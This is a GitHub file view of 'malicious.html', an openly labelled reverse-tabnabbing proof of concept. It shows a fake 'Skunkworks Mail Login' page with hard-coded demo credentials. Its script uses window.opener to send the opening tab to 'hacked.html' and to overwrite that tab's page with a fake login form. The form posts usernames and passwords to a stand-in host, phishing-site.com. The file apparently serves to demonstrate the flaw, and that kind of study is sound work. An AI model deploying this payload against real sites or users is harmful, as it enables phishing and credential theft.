-
Notifications
You must be signed in to change notification settings - Fork 0
/
malicious.html
149 lines (146 loc) · 5.16 KB
/
malicious.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Malicious Page</title>
<style>
body {
font-family: 'IBM Plex Sans', sans-serif;
margin: 0;
padding: 0;
background-color: rgb(244, 244, 244);
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
overflow: hidden;
}
.container {
background: white;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
overflow: hidden;
max-width: 800px;
width: 100%;
transition: transform 0.3s ease, box-shadow 0.3s ease;
text-align: center;
}
.header {
background-color: #0f62fe;
color: white;
padding: 20px;
text-align: center;
position: relative;
}
.logo {
width: 150px;
margin-bottom: 20px;
}
.header::before,
.header::after {
content: '';
position: absolute;
top: 50%;
width: 50px;
height: 50px;
background: rgba(255, 255, 255, 0.1);
border-radius: 50%;
transform: translateY(-50%);
}
.header::before {
left: -25px;
}
.header::after {
right: -25px;
}
form {
display: inline-block;
margin-top: 20px;
}
input {
display: block;
margin: 10px auto;
padding: 10px;
width: 80%;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 16px;
}
button {
background-color: #0f62fe;
color: white;
border: none;
padding: 10px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
transition: background-color 0.3s ease, transform 0.3s ease;
}
button:hover {
background-color: #0353e9;
transform: translateY(-2px);
}
button:active {
transform: translateY(1px);
}
</style>
</head>
<body>
<div class="container">
<header class="header">
<img src="https://github.com/skunkworksza/Media/blob/main/skunkworks-logo%20-%20Copy.png?raw=true" alt="Skunkworks Logo" class="logo">
<h1>Skunkworks Mail Login</h1>
</header>
<form id="loginForm">
<input type="text" id="username" name="username" placeholder="Username" required>
<input type="password" id="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
<p id="errorMessage" style="color: red; display: none;">Invalid credentials. Please try again.</p>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', function(event) {
event.preventDefault();
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
// Check if the credentials match the required ones
if (username === 'skunkworks' && password === 'password123') {
window.location.href = 'hacked.html';
} else {
document.getElementById('errorMessage').style.display = 'block';
}
});
// Check if the opener exists
if (window.opener) {
try {
// Change the location of the opener to a phishing site
window.opener.location = 'hacked.html';
console.log('Opener location changed to hacked.html');
} catch (error) {
console.error('Error changing opener location:', error);
}
try {
// Or manipulate the opener's DOM to display a fake login prompt
window.opener.document.body.innerHTML = `
<div class="container">
<header class="header">
<img src="https://github.com/skunkworksza/Media/blob/main/skunkworks-logo%20-%20Copy.png?raw=true" alt="Skunkworks Logo" class="logo">
<h1>Fake Skunkworks Mail Login</h1>
</header>
<form action="https://phishing-site.com/login" method="POST">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<button type="submit">Login</button>
</form>
</div>`;
console.log('Opener DOM manipulated');
} catch (error) {
console.error('Error manipulating opener DOM:', error);
}
} else {
console.warn('No opener found. Cannot manipulate opener.');
}
</script>
</body>
</html>